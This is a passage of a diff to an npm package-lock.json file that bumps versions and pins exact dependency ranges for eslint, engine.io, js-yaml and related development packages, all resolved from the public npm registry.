"integrity": "sha1-Bl4tvtaVm/RwZ57avq95gdEAOrY="
},
+ "emoji-regex": {
+ "version": "7.0.3",
+ "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-7.0.3.tgz",
+ "integrity": "sha512-CwBLREIQ7LvYFB0WyRvwhq5N5qPhc6PMjD6bYggFlI5YyDgl+0vxq5VHbMOFqLg7hfWzmu8T5Z1QofhmTIhItA==",
+ "dev": true
+ },
"emojis-list": {
"version": "2.1.0",
"resolved": "https://registry.npmjs.org/emojis-list/-/emojis-list-2.1.0.tgz",
@@ -4427,7 +4608,7 @@
"resolved": "https://registry.npmjs.org/encoding/-/encoding-0.1.12.tgz",
"integrity": "sha1-U4tm8+5izRq1HsMjgp0flIDHS+s=",
"requires": {
- "iconv-lite": "~0.4.13"
+ "iconv-lite": "0.4.18"
}
},
"end-of-stream": {
@@ -4436,21 +4617,21 @@
"integrity": "sha512-1MkrZNvWTKCaigbn+W15elq2BB/L22nqrSY5DKlo3X6+vclJm8Bb5djXJBmEX6fS3+zCh/F4VBK5Z2KxJt4s2Q==",
"dev": true,
"requires": {
- "once": "^1.4.0"
+ "once": "1.4.0"
}
},
"engine.io": {
- "version": "3.2.0",
- "resolved": "https://registry.npmjs.org/engine.io/-/engine.io-3.2.0.tgz",
- "integrity": "sha512-mRbgmAtQ4GAlKwuPnnAvXXwdPhEx+jkc0OBCLrXuD/CRvwNK3AxRSnqK4FSqmAMRRHryVJP8TopOvmEaA64fKw==",
+ "version": "3.2.1",
+ "resolved": "https://registry.npmjs.org/engine.io/-/engine.io-3.2.1.tgz",
+ "integrity": "sha512-+VlKzHzMhaU+GsCIg4AoXF1UdDFjHHwMmMKqMJNDNLlUlejz58FCy4LBqB2YVJskHGYl06BatYWKP2TVdVXE5w==",
"dev": true,
"requires": {
- "accepts": "~1.3.4",
+ "accepts": "1.3.7",
"base64id": "1.0.0",
"cookie": "0.3.1",
- "debug": "~3.1.0",
- "engine.io-parser": "~2.1.0",
- "ws": "~3.3.1"
+ "debug": "3.1.0",
+ "engine.io-parser": "2.1.3",
+ "ws": "3.3.3"
},
"dependencies": {
"debug": {
@@ -4472,17 +4653,23 @@
"requires": {
"component-emitter": "1.2.1",
"component-inherit": "0.0.3",
- "debug": "~3.1.0",
- "engine.io-parser": "~2.1.1",
+ "debug": "3.1.0",
+ "engine.io-parser": "2.1.3",
"has-cors": "1.1.0",
"indexof": "0.0.1",
"parseqs": "0.0.5",
"parseuri": "0.0.5",
- "ws": "~3.3.1",
- "xmlhttprequest-ssl": "~1.5.4",
+ "ws": "3.3.3",
+ "xmlhttprequest-ssl": "1.5.5",
"yeast": "0.1.2"
},
"dependencies": {
+ "component-emitter": {
+ "version": "1.2.1",
+ "resolved": "https://registry.npmjs.org/component-emitter/-/component-emitter-1.2.1.tgz",
+ "integrity": "sha1-E3kY1teCg/ffemt8WmPhQOaUJeY=",
+ "dev": true
+ },
"debug": {
"version": "3.1.0",
"resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz",
@@ -4495,16 +4682,16 @@
}
},
"engine.io-parser": {
- "version": "2.1.2",
- "resolved": "https://registry.npmjs.org/engine.io-parser/-/engine.io-parser-2.1.2.tgz",
- "integrity": "sha512-dInLFzr80RijZ1rGpx1+56/uFoH7/7InhH3kZt+Ms6hT8tNx3NGW/WNSA/f8As1WkOfkuyb3tnRyuXGxusclMw==",
+ "version": "2.1.3",
+ "resolved": "https://registry.npmjs.org/engine.io-parser/-/engine.io-parser-2.1.3.tgz",
+ "integrity": "sha512-6HXPre2O4Houl7c4g7Ic/XzPnHBvaEmN90vtRO9uLmwtRqQmTOw0QMevL1TOfL2Cpu1VzsaTmMotQgMdkzGkVA==",
"dev": true,
"requires": {
"after": "0.8.2",
- "arraybuffer.slice": "~0.0.7",
+ "arraybuffer.slice": "0.0.7",
"base64-arraybuffer": "0.1.5",
- "blob": "0.0.4",
- "has-binary2": "~1.0.2"
+ "blob": "0.0.5",
+ "has-binary2": "1.0.3"
}
},
"enhanced-resolve": {
@@ -4513,9 +4700,9 @@
"integrity": "sha512-F/7vkyTtyc/llOIn8oWclcB25KdRaiPBpZYDgJHgh/UHtpgT2p2eldQgtQnLtUvfMKPKxbRaQM/hHkvLHt1Vng==",
"dev": true,
"requires": {
- "graceful-fs": "^4.1.2",
- "memory-fs": "^0.4.0",
- "tapable": "^1.0.0"
+ "graceful-fs": "4.1.11",
+ "memory-fs": "0.4.1",
+ "tapable": "1.0.0"
}
},
"ent": {
@@ -4536,7 +4723,7 @@
"integrity": "sha512-MfrRBDWzIWifgq6tJj60gkAwtLNb6sQPlcFrSOflcP1aFmmruKQ2wRnze/8V6kgyz7H3FF8Npzv78mZ7XLLflg==",
"dev": true,
"requires": {
- "prr": "~1.0.1"
+ "prr": "1.0.1"
}
},
"error-ex": {
@@ -4544,7 +4731,7 @@
"resolved": "https://registry.npmjs.org/error-ex/-/error-ex-1.3.2.tgz",
"integrity": "sha512-7dFHNmqeFSEt2ZBsCriorKnn3Z2pj+fd9kmI6QoWw4//DL+icEBfc0U7qJCisqrTsKTjw4fNFy2pW9OqStD84g==",
"requires": {
- "is-arrayish": "^0.2.1"
+ "is-arrayish": "0.2.1"
}
},
"es-abstract": {
@@ -4553,11 +4740,11 @@
"integrity": "sha512-C8Fx/0jFmV5IPoMOFPA9P9G5NtqW+4cOPit3MIuvR2t7Ag2K15EJTpxnHAYTzL+aYQJIESYeXZmDBfOBE1HcpA==",
"dev": true,
"requires": {
- "es-to-primitive": "^1.1.1",
- "function-bind": "^1.1.1",
- "has": "^1.0.1",
- "is-callable": "^1.1.3",
- "is-regex": "^1.0.4"
+ "es-to-primitive": "1.1.1",
+ "function-bind": "1.1.1",
+ "has": "1.0.3",
+ "is-callable": "1.1.4",
+ "is-regex": "1.0.4"
}
},
"es-to-primitive": {
@@ -4566,9 +4753,9 @@
"integrity": "sha1-RTVSSKiJeQNLZ5Lhm7gfK3l13Q0=",
"dev": true,
"requires": {
- "is-callable": "^1.1.1",
- "is-date-object": "^1.0.1",
- "is-symbol": "^1.0.1"
+ "is-callable": "1.1.4",
+ "is-date-object": "1.0.1",
+ "is-symbol": "1.0.1"
}
},
"es5-ext": {
@@ -4577,9 +4764,9 @@
"integrity": "sha512-24XxRvJXNFwEMpJb3nOkiRJKRoupmjYmOPVlI65Qy2SrtxwOTB+g6ODjBKOtwEHbYrhWRty9xxOWLNdClT2djw==",
"dev": true,
"requires": {
- "es6-iterator": "~2.0.3",
- "es6-symbol": "~3.1.1",
- "next-tick": "1"
+ "es6-iterator": "2.0.3",
+ "es6-symbol": "3.1.1",
+ "next-tick": "1.0.0"
}
},
"es6-iterator": {
@@ -4588,9 +4775,9 @@
"integrity": "sha1-p96IkUGgWpSwhUQDstCg+/qY87c=",
"dev": true,
"requires": {
- "d": "1",
- "es5-ext": "^0.10.35",
- "es6-symbol": "^3.1.1"
+ "d": "1.0.0",
+ "es5-ext": "0.10.46",
+ "es6-symbol": "3.1.1"
}
},
"es6-promise": {
@@ -4605,8 +4792,8 @@
"integrity": "sha1-vwDvT9q2uhtG7Le2KbTH7VcVzHc=",
"dev": true,
"requires": {
- "d": "1",
- "es5-ext": "~0.10.14"
+ "d": "1.0.0",
+ "es5-ext": "0.10.46"
}
},
"es6-templates": {
@@ -4615,8 +4802,8 @@
"integrity": "sha1-XLmsn7He1usSOTQrgdeSu7QHjuQ=",
"dev": true,
"requires": {
- "recast": "~0.11.12",
- "through": "~2.3.6"
+ "recast": "0.11.23",
+ "through": "2.3.8"
}
},
"escape-html": {
@@ -4636,11 +4823,11 @@
"integrity": "sha1-WltTr0aTEQvrsIZ6o0MN07cKEBg=",
"dev": true,
"requires": {
- "esprima": "^2.7.1",
- "estraverse": "^1.9.1",
- "esutils": "^2.0.2",
- "optionator": "^0.8.1",
- "source-map": "~0.2.0"
+ "esprima": "2.7.3",
+ "estraverse": "1.9.3",
+ "esutils": "2.0.2",
+ "optionator": "0.8.2",
+ "source-map": "0.2.0"
},
"dependencies": {
"estraverse": {
@@ -4656,87 +4843,85 @@
"dev": true,
"optional": true,
"requires": {
- "amdefine": ">=0.0.4"
+ "amdefine": "1.0.1"
}
}
}
},
"eslint": {
- "version": "5.6.1",
- "resolved": "https://registry.npmjs.org/eslint/-/eslint-5.6.1.tgz",
- "integrity": "sha512-hgrDtGWz368b7Wqf+v1Z69O3ZebNR0+GA7PtDdbmuz4rInFVUV9uw7whjZEiWyLzCjVb5Rs5WRN1TAS6eo7AYA==",
+ "version": "5.16.0",
+ "resolved": "https://registry.npmjs.org/eslint/-/eslint-5.16.0.tgz",
+ "integrity": "sha512-S3Rz11i7c8AA5JPv7xAH+dOyq/Cu/VXHiHXBPOU1k/JAM5dXqQPt3qcrhpHSorXmrpu2g0gkIBVXAqCpzfoZIg==",
"dev": true,
"requires": {
- "@babel/code-frame": "^7.0.0",
- "ajv": "^6.5.3",
- "chalk": "^2.1.0",
- "cross-spawn": "^6.0.5",
- "debug": "^4.0.1",
- "doctrine": "^2.1.0",
- "eslint-scope": "^4.0.0",
- "eslint-utils": "^1.3.1",
- "eslint-visitor-keys": "^1.0.0",
- "espree": "^4.0.0",
- "esquery": "^1.0.1",
- "esutils": "^2.0.2",
- "file-entry-cache": "^2.0.0",
- "functional-red-black-tree": "^1.0.1",
- "glob": "^7.1.2",
- "globals": "^11.7.0",
- "ignore": "^4.0.6",
- "imurmurhash": "^0.1.4",
- "inquirer": "^6.1.0",
- "is-resolvable": "^1.1.0",
- "js-yaml": "^3.12.0",
- "json-stable-stringify-without-jsonify": "^1.0.1",
- "levn": "^0.3.0",
- "lodash": "^4.17.5",
- "minimatch": "^3.0.4",
- "mkdirp": "^0.5.1",
- "natural-compare": "^1.4.0",
- "optionator": "^0.8.2",
- "path-is-inside": "^1.0.2",
- "pluralize": "^7.0.0",
- "progress": "^2.0.0",
- "regexpp": "^2.0.0",
- "require-uncached": "^1.0.3",
- "semver": "^5.5.1",
- "strip-ansi": "^4.0.0",
- "strip-json-comments": "^2.0.1",
- "table": "^4.0.3",
- "text-table": "^0.2.0"
+ "@babel/code-frame": "7.5.5",
+ "ajv": "6.10.2",
+ "chalk": "2.4.2",
+ "cross-spawn": "6.0.5",
+ "debug": "4.1.1",
+ "doctrine": "3.0.0",
+ "eslint-scope": "4.0.3",
+ "eslint-utils": "1.4.2",
+ "eslint-visitor-keys": "1.0.0",
+ "espree": "5.0.1",
+ "esquery": "1.0.1",
+ "esutils": "2.0.2",
+ "file-entry-cache": "5.0.1",
+ "functional-red-black-tree": "1.0.1",
+ "glob": "7.1.4",
+ "globals": "11.12.0",
+ "ignore": "4.0.6",
+ "import-fresh": "3.1.0",
+ "imurmurhash": "0.1.4",
+ "inquirer": "6.5.2",
+ "js-yaml": "3.13.1",
+ "json-stable-stringify-without-jsonify": "1.0.1",
+ "levn": "0.3.0",
+ "lodash": "4.17.15",
+ "minimatch": "3.0.4",
+ "mkdirp": "0.5.1",
+ "natural-compare": "1.4.0",
+ "optionator": "0.8.2",
+ "path-is-inside": "1.0.2",
+ "progress": "2.0.3",
+ "regexpp": "2.0.1",
+ "semver": "5.7.1",
+ "strip-ansi": "4.0.0",
+ "strip-json-comments": "2.0.1",
+ "table": "5.4.6",
+ "text-table": "0.2.0"
},
"dependencies": {
"@babel/code-frame": {
- "version": "7.0.0",
- "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.0.0.tgz",
- "integrity": "sha512-OfC2uemaknXr87bdLUkWog7nYuliM9Ij5HUcajsVcMCpQrcLmtxRbVFTIqmcSkSeYRBFBRxs2FiUqFJDLdiebA==",
+ "version": "7.5.5",
+ "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.5.5.tgz",
+ "integrity": "sha512-27d4lZoomVyo51VegxI20xZPuSHusqbQag/ztrBC7wegWoQ1nLREPVSKSW8byhTlzTKyNE4ifaTA6lCp7JjpFw==",
"dev": true,
"requires": {
- "@babel/highlight": "^7.0.0"
+ "@babel/highlight": "7.5.0"
}
},
"@babel/highlight": {
- "version": "7.0.0",
- "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.0.0.tgz",
- "integrity": "sha512-UFMC4ZeFC48Tpvj7C8UgLvtkaUuovQX+5xNWrsIoMG8o2z+XFKjKaN9iVmS84dPwVN00W4wPmqvYoZF3EGAsfw==",
+ "version": "7.5.0",
+ "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.5.0.tgz",
+ "integrity": "sha512-7dV4eu9gBxoM0dAnj/BCFDW9LFU0zvTrkq0ugM7pnHEgguOEeOz1so2ZghEdzviYzQEED0r4EAgpsBChKy1TRQ==",
"dev": true,
"requires": {
- "chalk": "^2.0.0",
- "esutils": "^2.0.2",
- "js-tokens": "^4.0.0"
+ "chalk": "2.4.2",
+ "esutils": "2.0.2",
+ "js-tokens": "4.0.0"
}
},
"ajv": {
- "version": "6.5.4",
- "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.5.4.tgz",
- "integrity": "sha512-4Wyjt8+t6YszqaXnLDfMmG/8AlO5Zbcsy3ATHncCzjW/NoPzAId8AK6749Ybjmdt+kUY1gP60fCu46oDxPv/mg==",
+ "version": "6.10.2",
+ "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.10.2.tgz",
+ "integrity": "sha512-TXtUUEYHuaTEbLZWIKUr5pmBuhDLy+8KYtPYdcV8qC+pOZL+NKqYwvWSRrVXHn+ZmRRAu8vJTAznH7Oag6RVRw==",
"dev": true,
"requires": {
- "fast-deep-equal": "^2.0.1",
- "fast-json-stable-stringify": "^2.0.0",
- "json-schema-traverse": "^0.4.1",
- "uri-js": "^4.2.2"
+ "fast-deep-equal": "2.0.1",
+ "fast-json-stable-stringify": "2.0.0",
+ "json-schema-traverse": "0.4.1",
+ "uri-js": "4.2.2"
}
},
"ansi-regex": {
@@ -4751,50 +4936,37 @@
"integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==",
"dev": true,
"requires": {
- "color-convert": "^1.9.0"
+ "color-convert": "1.9.0"
}
},
"chalk": {
- "version": "2.4.1",
- "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz",
- "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==",
+ "version": "2.4.2",
+ "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz",
+ "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==",
"dev": true,
"requires": {
- "ansi-styles": "^3.2.1",
- "escape-string-regexp": "^1.0.5",
- "supports-color": "^5.3.0"
- }
- },
- "cross-spawn": {
- "version": "6.0.5",
- "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-6.0.5.tgz",
- "integrity": "sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==",
- "dev": true,
- "requires": {
- "nice-try": "^1.0.4",
- "path-key": "^2.0.1",
- "semver": "^5.5.0",
- "shebang-command": "^1.2.0",
- "which": "^1.2.9"
+ "ansi-styles": "3.2.1",
+ "escape-string-regexp": "1.0.5",
+ "supports-color": "5.5.0"
}
},
"debug": {
- "version": "4.1.0",
- "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.0.tgz",
- "integrity": "sha512-heNPJUJIqC+xB6ayLAMHaIrmN9HKa7aQO8MGqKpvCA+uJYVcvR6l5kgdrhRuwPFHU7P5/A1w0BjByPHwpfTDKg==",
+ "version": "4.1.1",
+ "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz",
+ "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==",
"dev": true,
"requires": {
- "ms": "^2.1.1"
+ "ms": "2.1.2"
}
},
"eslint-scope": {
- "version": "4.0.0",
- "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-4.0.0.tgz",
- "integrity": "sha512-1G6UTDi7Jc1ELFwnR58HV4fK9OQK4S6N985f166xqXxpjU6plxFISJa2Ba9KCQuFa8RCnj/lSFJbHo7UFDBnUA==",
+ "version": "4.0.3",
+ "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-4.0.3.tgz",
+ "integrity": "sha512-p7VutNr1O/QrxysMo3E45FjYDTeXBy0iTltPFNSqKAIfjDSXC+4dj+qfyuD8bfAXrW/y6lW3O76VaYNPKfpKrg==",
"dev": true,
"requires": {
- "esrecurse": "^4.1.0",
- "estraverse": "^4.1.1"
+ "esrecurse": "4.2.1",
+ "estraverse": "4.2.0"
}
},
"esprima": {
@@ -4810,9 +4982,9 @@
"dev": true
},
"globals": {
- "version": "11.8.0",
- "resolved": "https://registry.npmjs.org/globals/-/globals-11.8.0.tgz",
- "integrity": "sha512-io6LkyPVuzCHBSQV9fmOwxZkUk6nIaGmxheLDgmuFv89j0fm2aqDbIXKAGfzCMHqz3HLF2Zf8WSG6VqMh2qFmA==",
+ "version": "11.12.0",
+ "resolved": "https://registry.npmjs.org/globals/-/globals-11.12.0.tgz",
+ "integrity": "sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA==",
"dev": true
},
"has-flag": {
@@ -4821,6 +4993,16 @@
"integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=",
"dev": true
},
+ "import-fresh": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/import-fresh/-/import-fresh-3.1.0.tgz",
+ "integrity": "sha512-PpuksHKGt8rXfWEr9m9EHIpgyyaltBy8+eF6GJM0QCAxMgxCfucMF3mjecK2QsJr0amJW7gTqh5/wht0z2UhEQ==",
+ "dev": true,
+ "requires": {
+ "parent-module": "1.0.1",
+ "resolve-from": "4.0.0"
+ }
+ },
"js-tokens": {
"version": "4.0.0",
"resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz",
@@ -4828,13 +5010,13 @@
"dev": true
},
"js-yaml": {
- "version": "3.12.0",
- "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.12.0.tgz",
- "integrity": "sha512-PIt2cnwmPfL4hKNwqeiuz4bKfnzHTBv6HyVgjahA6mPLwPDzjDWrplJBMjHUFxku/N3FlmrbyPclad+I+4mJ3A==",
+ "version": "3.13.1",
+ "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.13.1.tgz",
+ "integrity": "sha512-YfbcO7jXDdyj0DGxYVSlSeQNHbD7XPWvrVWeVUujrQEoZzWJIRrCPoyk6kL6IAjAG2IolMK4T0hNUe0HOUs5Jw==",
"dev": true,
"requires": {
- "argparse": "^1.0.7",
- "esprima": "^4.0.0"
+ "argparse": "1.0.9",
+ "esprima": "4.0.1"
}
},
"json-schema-traverse": {
@@ -4843,22 +5025,34 @@
"integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==",
"dev": true
},
+ "lodash": {
+ "version": "4.17.15",
+ "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.15.tgz",
+ "integrity": "sha512-8xOcRHvCjnocdS5cpwXQXVzmmh5e5+saE2QGoeQmbKmRS6J3VQppPOIt0MnmE+4xlZoumy0GPG0D0MVIQbNA1A==",
+ "dev": true
+ },
"ms": {
- "version": "2.1.1",
- "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.1.tgz",
- "integrity": "sha512-tgp+dl5cGk28utYktBsrFqA7HKgrhgPsg6Z/EfhWI4gl1Hwq8B/GmY/0oXZ6nF8hDVesS/FpnYaD/kOWhYQvyg==",
+ "version": "2.1.2",
+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
+ "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==",
"dev": true
},
"progress": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/progress/-/progress-2.0.0.tgz",
- "integrity": "sha1-ihvjZr+Pwj2yvSPxDG/pILQ4nR8=",
+ "version": "2.0.3",
+ "resolved": "https://registry.npmjs.org/progress/-/progress-2.0.3.tgz",
+ "integrity": "sha512-7PiHtLll5LdnKIMw100I+8xJXR5gW2QwWYkT6iJva0bXitZKa/XMrSbdmg3r2Xnaidz9Qumd0VPaMrZlF9V9sA==",
+ "dev": true
+ },
+ "resolve-from": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-4.0.0.tgz",
+ "integrity": "sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==",
"dev": true
},
"semver": {
- "version": "5.5.1",
- "resolved": "https://registry.npmjs.org/semver/-/semver-5.5.1.tgz",
- "integrity": "sha512-PqpAxfrEhlSUWge8dwIp4tZnQ25DIOthpiaHNIthsjEFQD6EvqUKUDM7L8O2rShkFccYo1VjJR0coWfNkCubRw==",
+ "version": "5.7.1",
+ "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz",
+ "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==",
"dev": true
},
"strip-ansi": {
@@ -4867,7 +5061,7 @@
"integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=",
"dev": true,
"requires": {
- "ansi-regex": "^3.0.0"
+ "ansi-regex": "3.0.0"
}
},
"supports-color": {
@@ -4876,48 +5070,78 @@
"integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==",
"dev": true,
"requires": {
- "has-flag": "^3.0.0"
+ "has-flag": "3.0.0"
}
}
}
},
"eslint-loader": {
- "version": "2.1.1",
- "resolved": "https://registry.npmjs.org/eslint-loader/-/eslint-loader-2.1.1.tgz",
- "integrity": "sha512-1GrJFfSevQdYpoDzx8mEE2TDWsb/zmFuY09l6hURg1AeFIKQOvZ+vH0UPjzmd1CZIbfTV5HUkMeBmFiDBkgIsQ==",
+ "version": "2.2.1",
+ "resolved": "https://registry.npmjs.org/eslint-loader/-/eslint-loader-2.2.1.tgz",
+ "integrity": "sha512-RLgV9hoCVsMLvOxCuNjdqOrUqIj9oJg8hF44vzJaYqsAHuY9G2YAeN3joQ9nxP0p5Th9iFSIpKo+SD8KISxXRg==",
"dev": true,
"requires": {
- "loader-fs-cache": "^1.0.0",
- "loader-utils": "^1.0.2",
- "object-assign": "^4.0.1",
- "object-hash": "^1.1.4",
- "rimraf": "^2.6.1"
+ "loader-fs-cache": "1.0.2",
+ "loader-utils": "1.2.3",
+ "object-assign": "4.1.1",
+ "object-hash": "1.3.1",
+ "rimraf": "2.7.1"
},
"dependencies": {
- "loader-utils": {
- "version": "1.1.0",
- "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-1.1.0.tgz",
- "integrity": "sha1-yYrvSIvM7aL/teLeZG1qdUQp9c0=",
+ "big.js": {
+ "version": "5.2.2",
+ "resolved": "https://registry.npmjs.org/big.js/-/big.js-5.2.2.tgz",
+ "integrity": "sha512-vyL2OymJxmarO8gxMr0mhChsO9QGwhynfuu4+MHTAW6czfq9humCB7rKpUjDd9YUiDPU4mzpyupFSvOClAwbmQ==",
+ "dev": true
+ },
+ "json5": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/json5/-/json5-1.0.1.tgz",
+ "integrity": "sha512-aKS4WQjPenRxiQsC93MNfjx+nbF4PAdYzmd/1JIj8HYzqfbu86beTuNgXDzPknWk0n0uARlyewZo4s++ES36Ow==",
"dev": true,
"requires": {
- "big.js": "^3.1.3",
- "emojis-list": "^2.0.0",
- "json5": "^0.5.0"
+ "minimist": "1.2.0"
+ }
+ },
+ "loader-utils": {
+ "version": "1.2.3",
+ "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-1.2.3.tgz",
+ "integrity": "sha512-fkpz8ejdnEMG3s37wGL07iSBDg99O9D5yflE9RGNH3hRdx9SOwYfnGYdZOUIZitN8E+E2vkq3MUMYMvPYl5ZZA==",
+ "dev": true,
+ "requires": {
+ "big.js": "5.2.2",
+ "emojis-list": "2.1.0",
+ "json5": "1.0.1"
}
}
}
},
"eslint-plugin-react": {
- "version": "7.11.1",
- "resolved": "https://registry.npmjs.org/eslint-plugin-react/-/eslint-plugin-react-7.11.1.tgz",
- "integrity": "sha512-cVVyMadRyW7qsIUh3FHp3u6QHNhOgVrLQYdQEB1bPWBsgbNCHdFAeNMquBMCcZJu59eNthX053L70l7gRt4SCw==",
+ "version": "7.14.3",
+ "resolved": "https://registry.npmjs.org/eslint-plugin-react/-/eslint-plugin-react-7.14.3.tgz",
+ "integrity": "sha512-EzdyyBWC4Uz2hPYBiEJrKCUi2Fn+BJ9B/pJQcjw5X+x/H2Nm59S4MJIvL4O5NEE0+WbnQwEBxWY03oUk+Bc3FA==",
"dev": true,
"requires": {
- "array-includes": "^3.0.3",
- "doctrine": "^2.1.0",
- "has": "^1.0.3",
- "jsx-ast-utils": "^2.0.1",
- "prop-types": "^15.6.2"
+ "array-includes": "3.0.3",
+ "doctrine": "2.1.0",
+ "has": "1.0.3",
+ "jsx-ast-utils": "2.2.1",
+ "object.entries": "1.1.0",
+ "object.fromentries": "2.0.0",
+ "object.values": "1.1.0",
+ "prop-types": "15.7.2",
+ "resolve": "1.12.0"
+ },
+ "dependencies": {
+ "doctrine": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-2.1.0.tgz",
+ "integrity": "sha512-35mSku4ZXK0vfCuHEDAwt55dg2jNajHZ1odvF+8SSr82EsZY4QmXfuWso8oEd8zRhVObSN18aM0CjSdoBX7zIw==",
+ "dev": true,
+ "requires": {
+ "esutils": "2.0.2"
+ }
+ }
}
},
"eslint-scope": {
@@ -4926,15 +5150,18 @@
"integrity": "sha1-PWPD7f2gLgbgGkUq2IyqzHzctug=",
"dev": true,
"requires": {
- "esrecurse": "^4.1.0",
- "estraverse": "^4.1.1"
+ "esrecurse": "4.2.1",
+ "estraverse": "4.2.0"
}
},
"eslint-utils": {
- "version": "1.3.1",
- "resolved": "https://registry.npmjs.org/eslint-utils/-/eslint-utils-1.3.1.tgz",
- "integrity": "sha512-Z7YjnIldX+2XMcjr7ZkgEsOj/bREONV60qYeB/bjMAqqqZ4zxKyWX+BOUkdmRmA9riiIPVvo5x86m5elviOk0Q==",
- "dev": true
+ "version": "1.4.2",
+ "resolved": "https://registry.npmjs.org/eslint-utils/-/eslint-utils-1.4.2.tgz",
+ "integrity": "sha512-eAZS2sEUMlIeCjBeubdj45dmBHQwPHWyBcT1VSYB7o9x9WRRqKxyUoiXlRjyAwzN7YEzHJlYg0NmzDRWx6GP4Q==",
+ "dev": true,
+ "requires": {
+ "eslint-visitor-keys": "1.0.0"
+ }
},
"eslint-visitor-keys": {
"version": "1.0.0",
@@ -4943,13 +5170,14 @@
"dev": true
},
"espree": {
- "version": "4.0.0",
- "resolved": "https://registry.npmjs.org/espree/-/espree-4.0.0.tgz",
- "integrity": "sha512-kapdTCt1bjmspxStVKX6huolXVV5ZfyZguY1lcfhVVZstce3bqxH9mcLzNn3/mlgW6wQ732+0fuG9v7h0ZQoKg==",
+ "version": "5.0.1",
+ "resolved": "https://registry.npmjs.org/espree/-/espree-5.0.1.tgz",
+ "integrity": "sha512-qWAZcWh4XE/RwzLJejfcofscgMc9CamR6Tn1+XRXNzrvUSSbiAjGOI/fggztjIi7y9VLPqnICMIPiGyr8JaZ0A==",
"dev": true,
"requires": {
- "acorn": "^5.6.0",
- "acorn-jsx": "^4.1.1"
+ "acorn": "6.3.0",
+ "acorn-jsx": "5.0.2",
+ "eslint-visitor-keys": "1.0.0"
}
},
"esprima": {
@@ -4964,7 +5192,7 @@
"integrity": "sha512-SmiyZ5zIWH9VM+SRUReLS5Q8a7GxtRdxEBVZpm98rJM7Sb+A9DVCndXfkeFUd3byderg+EbDkfnevfCwynWaNA==",
"dev": true,
"requires": {
- "estraverse": "^4.0.0"
+ "estraverse": "4.2.0"
}
},
"esrecurse": {
@@ -4973,7 +5201,7 @@
"integrity": "sha512-64RBB++fIOAXPw3P9cy89qfMlvZEXZkqqJkjqqXIvzP5ezRZjW+lPWjw35UX/3EhUPFYbg5ER4JYgDw4007/DQ==",
"dev": true,
"requires": {
- "estraverse": "^4.1.0"
+ "estraverse": "4.2.0"
}
},
"estraverse": {
@@ -4994,24 +5222,24 @@
"dev": true
},
"eventemitter3": {
- "version": "3.1.0",
- "resolved": "https://registry.npmjs.org/eventemitter3/-/eventemitter3-3.1.0.tgz",
- "integrity": "sha512-ivIvhpq/Y0uSjcHDcOIccjmYjGLcP09MFGE7ysAwkAvkXfpZlC985pH2/ui64DKazbTW/4kN3yqozUxlXzI6cA==",
+ "version": "4.0.0",
